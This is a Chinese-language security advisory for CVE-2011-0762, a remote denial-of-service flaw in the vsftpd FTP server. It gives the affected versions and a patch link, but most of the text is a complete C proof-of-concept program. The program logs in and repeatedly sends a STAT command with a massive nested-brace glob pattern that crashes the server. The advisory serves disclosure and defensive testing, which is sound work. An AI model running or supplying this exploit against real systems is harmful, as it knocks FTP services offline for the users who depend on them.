安全研究

安全漏洞
vsftpd FTP Server "ls.c"远程拒绝服务漏洞

发布日期:2011-03-01
更新日期:2011-03-01

受影响系统:
Vsftpd Vsftpd 2.3.2
Vsftpd Vsftpd 2.3.1
Vsftpd Vsftpd 2.3.0
Vsftpd Vsftpd 2.2.2
Vsftpd Vsftpd 2.2.1
Vsftpd Vsftpd 2.2.0
Vsftpd Vsftpd 2.1.2
Vsftpd Vsftpd 2.1.1
Vsftpd Vsftpd 2.1.0
Vsftpd Vsftpd 2.0.7
Vsftpd Vsftpd 2.0.6
Vsftpd Vsftpd 2.0.5
Vsftpd Vsftpd 2.0.4
Vsftpd Vsftpd 2.0.3
Vsftpd Vsftpd 2.0.2
Vsftpd Vsftpd 2.0.1
Vsftpd Vsftpd 2.0.0
Vsftpd Vsftpd 1.2.2
Vsftpd Vsftpd 1.2.1
Vsftpd Vsftpd 1.2.0
Vsftpd Vsftpd 1.1.3
Vsftpd Vsftpd 1.1.2
Vsftpd Vsftpd 1.1.1
Vsftpd Vsftpd 1.1.0
Vsftpd Vsftpd 1.0.1
Vsftpd Vsftpd 1.0.0
Vsftpd Vsftpd 0.9.3
Vsftpd Vsftpd 0.9.2
Vsftpd Vsftpd 0.9.1
Vsftpd Vsftpd 0.9.0
Vsftpd Vsftpd 0.0.9
Vsftpd Vsftpd 0.0.8
Vsftpd Vsftpd 0.0.7
Vsftpd Vsftpd 0.0.6
Vsftpd Vsftpd 0.0.5
Vsftpd Vsftpd 0.0.4
Vsftpd Vsftpd 0.0.3
Vsftpd Vsftpd 0.0.2
Vsftpd Vsftpd 0.0.15
Vsftpd Vsftpd 0.0.14
Vsftpd Vsftpd 0.0.13
Vsftpd Vsftpd 0.0.12
Vsftpd Vsftpd 0.0.11
Vsftpd Vsftpd 0.0.10
Vsftpd Vsftpd 0.0.1
不受影响系统:
Vsftpd Vsftpd 2.3.4
Vsftpd Vsftpd 2.3.4
描述:
BUGTRAQ  ID: 46617
CVE(CAN) ID: CVE-2011-0762

vsftpd是Very Secure FTP daemon的缩写,是UNIX类平台上安全的FTP服务器。

vsftpd在处理ls.c时存在远程拒绝服务漏洞,远程攻击者可利用此漏洞造成受影响应用程序崩溃,拒绝服务合法用户。

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl
  
  链接:http://marc.info/?l=bugtraq&m=129899539210104&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Maksymilian Arciemowicz (max@jestsuper.pl)提供了如下测试方法:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/*
This is code of
http://cxib.net/stuff/vspoc232.c

PoC CVE-2011-0762 ( vsftpd )
Remote Denial of Service

Affected Version: 2.3.2
Fix: 2.3.4

Author:
Maksymilian Arciemowicz

Use:
./vspoc232 127.0.0.1 21 user pass 1

or read
http://securityreason.com/achievement_securityalert/95
for more information
  
Example result:
cx@cx64:~$ telnet 172.5.0.129 21
Trying 172.5.0.129...
Connected to 172.5.0.129.
Escape character is '^]'.
500 OOPS: fork
Connection closed by foreign host.

*/

int skip=0;

int sendftp(int stream,char *what){
        if(-1==send(stream,what,strlen(what),0))
                printf("Can't send %s\n",what);
        else
                printf("send: %s\n",what);

        bzero(what,sizeof(what));
}

void readftp(int stream){
        char readline[4096];
        if(recv(stream,readline,4096,0)<1)
        if(!skip) exit(1); // end
        else
           printf("recv: %s\n",readline);
    
}

int sendstat(host,port,login,pass)
        char *host,*port,*login,*pass;
{
        char buffer[4097]; // send ftp command buffor
        int     sockfd,n,error;
        struct addrinfo hints;
    struct addrinfo *res, *res0;

        memset(&hints, 0, sizeof(hints));
        hints.ai_family = PF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        error = getaddrinfo(host,port,&hints,&res0);

        if (error){
                errorcon:
                printf("Can`t connect\n.exit");
                exit(1);
        }

        if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
        if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

        readftp(sockfd);
        snprintf(buffer,4096,"USER %s\nPASS %s\n\n",login,pass);
        sendftp(sockfd,buffer);
        readftp(sockfd);

        snprintf(buffer,4096,"STAT {{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{{*},{.}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}]}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}\n");
        sendftp(sockfd,buffer);
        freeaddrinfo(res0);
}

int main(int argc,char *argv[])
{
        char *login,*pass,logindef[]="anonymous",passdef[]="cxib.net@127.0.0.1";

        if(argc<3){
                printf("\nUse: ./vspoc232 host port [username] [password] [option]\nhost and port are requied\nuse option = 1 to skip recv() fails\n\nexample:\n./vspoc232 127.0.0.1 21 user pass 1\n\n");
                exit(1);
        }

        char *host=argv[1];
        char *port=argv[2];

        if(4<=argc) login=argv[3];
        else login=logindef;

        if(5<=argc) pass=argv[4];
        else pass=passdef;

        if(6<=argc) skip=1;

        while(1){
                printf("----------------------------- next\n");
                sendstat(host,port,login,pass);
                sleep(1); // some delay to be sure
        }
        return 0; // never happen
}

建议:
厂商补丁:

Vsftpd
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://vsftpd.beasts.org/

浏览次数:6811
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障